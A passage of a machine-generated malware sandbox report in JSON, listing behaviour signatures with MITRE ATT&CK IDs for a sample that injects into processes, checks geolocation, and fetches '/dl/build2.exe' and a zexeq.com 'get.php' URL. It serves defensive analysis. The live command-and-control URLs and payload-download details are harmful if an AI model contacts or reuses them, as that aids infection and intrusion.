File","mitre_attack_id":"T1105","relevance":3,"id":"binary-55","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"details too long to display","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$4f","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"details too long to display","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"04587099.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006576)\n \"04587099.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006344)\n \"04587099.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007000)\n \"04587099.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005728)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Makes a code branch decision directly after an API that is environment aware\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$53","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$54","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"details too long to display","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"04587099.exe\" writes a file \"C:\\bootTel.dat\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0001.chk\\$filehashes$.dat\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0012.chk\\thumbcache_32.db\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0012.chk\\thumbcache_256.db\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0002.chk\\amd64_microsoft-windows-com-complus-runtime_31bf3856ad364e35_10.0.17134.1_none_3f4b4b693ddbf374\\comempty.dat\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0012.chk\\thumbcache_idx.db\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0012.chk\\thumbcache_sr.db\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0012.chk\\thumbcache_1280.db\"\n \"04587099.exe\" writes a file \"C:\\found.000\\dir0012.chk\\thumbcache_1920.db\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create string binding handle (RPC)","description":"\"04587099.exe\" called \"RpcStringBindingComposeW\" (UID: 00000000-00006576)\n \"icacls.exe\" called \"RpcStringBindingComposeW\" (UID: 00000000-00007112)\n \"04587099.exe\" called \"RpcStringBindingComposeW\" (UID: 00000000-00006344)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-218","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register protocol sequence (RPC)","description":"\"04587099.exe\" called \"RpcServerUseProtseqEpW\" with parameter protseq ncalrpc & endpoint: OLE4B52E9E16D2036415312E85E2262 (UID: 00000000-00006576)\n \"DllHost.exe\" called \"RpcServerUseProtseqEpW\" with parameter protseq ncalrpc & endpoint: OLE71AF2D2E14F96BFBD53B3F1C7339 (UID: 00000000-00005584)\n \"DllHost.exe\" called \"RpcServerUseProtseqEpW\" with parameter protseq ncalrpc & endpoint: OLEBB17A42349BD927BAEE188CA5F61 (UID: 00000000-00005832)\n \"DllHost.exe\" called \"RpcServerUseProtseqEpW\" with parameter protseq ncalrpc & endpoint: OLEEE07297872DD70AD927F02BC8B39 (UID: 00000000-00006148)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-220","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"04587099.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00006576)\n \"04587099.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00006344)\n \"04587099.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00006344)\n \"04587099.exe\" called \"InternetReadFile\" (UID: 00000000-00006344)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"$55","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /dl/build2.exe\"\n Found http requests in header \"GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy files","description":"Observed string: \"copy\" (Indicator: \"copy\") in Source: 00000000-00004284.00000000.88232.00400000.00000040.mdmp\n Observed string: \"copy\" (Indicator: \"copy\") in Source: 00000000-00005728.00000000.80675.00400000.00000040.mdmp\n 00000000-00005728.00000001.82597.00400000.00000040.mdmp\n Observed string: \"copy\" (Indicator: \"copy\") in Source: 00000000-00006344.00000000.78848.00400000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-329","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"$57","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Found potential IP urls in memory dumps","description":"Found IP URL \"http://logo.verisign.com/vslogo.gif0\\:oj?1.3.6.1.4.1.311.10.1210316072924z0/^g(o-cejy\" - Source: \"00000000-00006344.00000000.78848.005D0000.00000004.mdmp\")\n Found IP URL \"http://zexeq.com/raud/get.php?pid=a03451672593505b6fa78972319413d5&first=true1.3.132.0.34@eckp1.3.132.0.33ecdp1.3.132.0.33@eckp1.3.132.0.33@eckp2.23.43.1.4.9@eckp1.3.132.0.30ecdp2.23.43.1.4.9ecdplrpc-5c14bc548e447ec016lmem\" - Source: \"00000000-00006344.00000000.78848.005D0000.00000004.mdmp\")\n Found IP URL \"http://www.microsoft.com/windows0^ziq$(c\\a6\\4[=1.3.132.0.34@eckpcmgr1.3.132.0.35ecdp\" - Source: \"00000000-00006576.00000000.78354.02980000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-3","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$59","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"api.2ip.uaGET /geo.json HTTP/1.1/geo.json\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /geo.json HTTP/1.1User-Agent: Microsoft Internet Explorer\n Host: api.2ip.ua","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"M\"\n \"^\"\n \"w\"\n \"N\"\n \"A\"\n \"P\"\n \";\"\n \"_\"\n \"x\"\n \"p\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://api.2ip.ua\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.2ip.ua/geo.json","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"162.0.217.254\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00006576\"\n YARA signature for AES encryption matched on process \"00000000-00004284\"\n YARA signature for AES encryption matched on process \"00000000-00006344\"\n YARA signature for AES encryption matched on process \"00000000-00005728\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on file \"build2_1_.exe\"\n YARA signature for RC4 encryption matched on file \"build2.exe\"\n YARA signature for RC4 encryption matched on process \"00000000-00006576\"\n YARA signature for RC4 encryption matched on process \"00000000-00004284\"\n YARA signature for RC4 encryption matched on file \"autofmt.exe\"\n YARA signature for RC4 encryption matched on file \"winresume.exe\"\n YARA signature for RC4 encryption matched on file \"04587099.exe.bin\"\n YARA signature for RC4 encryption matched on file \"04587099.exe\"\n YARA signature for RC4 encryption matched on file \"sample.bin\"\n YARA signature for RC4 encryption matched on process \"00000000-00006344\"\n YARA signature for RC4 encryption matched on file \"appwiz.cpl\"\n YARA signature for RC4 encryption matched on file \"securekernel.exe\"\n YARA signature for RC4 encryption matched on process \"00000000-00005728\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00004284.00000000.88232.00890000.00000004.mdmp\")\n Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00005728.00000000.80675.00DC0000.00000004.mdmp, 00000000-00005728.00000001.82597.00DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically to used to retrieve file or directory information","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-236","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"04587099.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"04587099.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00005124)\n \"04587099.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00006576)\n \"icacls.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"04587099.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00005616)\n \"04587099.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00006344)\n \"04587099.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}\n \"04587099.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}\n \"DllHost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to opens the access token associated with a process","description":"$5d","origin":"API Call","mitre_attack_id":"T1134","relevance":1,"id":"api-196","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to opens the access token associated with a thread","description":"$5e","origin":"API Call","mitre_attack_id":"T1134","relevance":1,"id":"api-197","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"04587099.exe\" called \"GetComputerNameW\" (UID: 00000000-00006576)\n \"04587099.exe\" called \"GetComputerNameW\" (UID: 00000000-00006344)\n \"04587099.exe\" called \"GetComputerNameW\" (UID: 00000000-00005728)\n \"04587099.exe\" called \"GetComputerNameW\" (UID: 00000000-00004284)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"04587099.exe\" called \"GetUserNameW\" (UID: 00000000-00006344)\n \"04587099.exe\" called \"GetUserNameW\" (UID: 00000000-00005728)\n \"04587099.exe\" called \"GetUserNameW\" (UID: 00000000-00004284)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$5f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to create/read/set mailslotinfo (API string)","description":"Found reference to API \"CreateMailslotA\" (Indicator: \"CreateMailslot\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-110","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"build2.exe.1057325739\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: 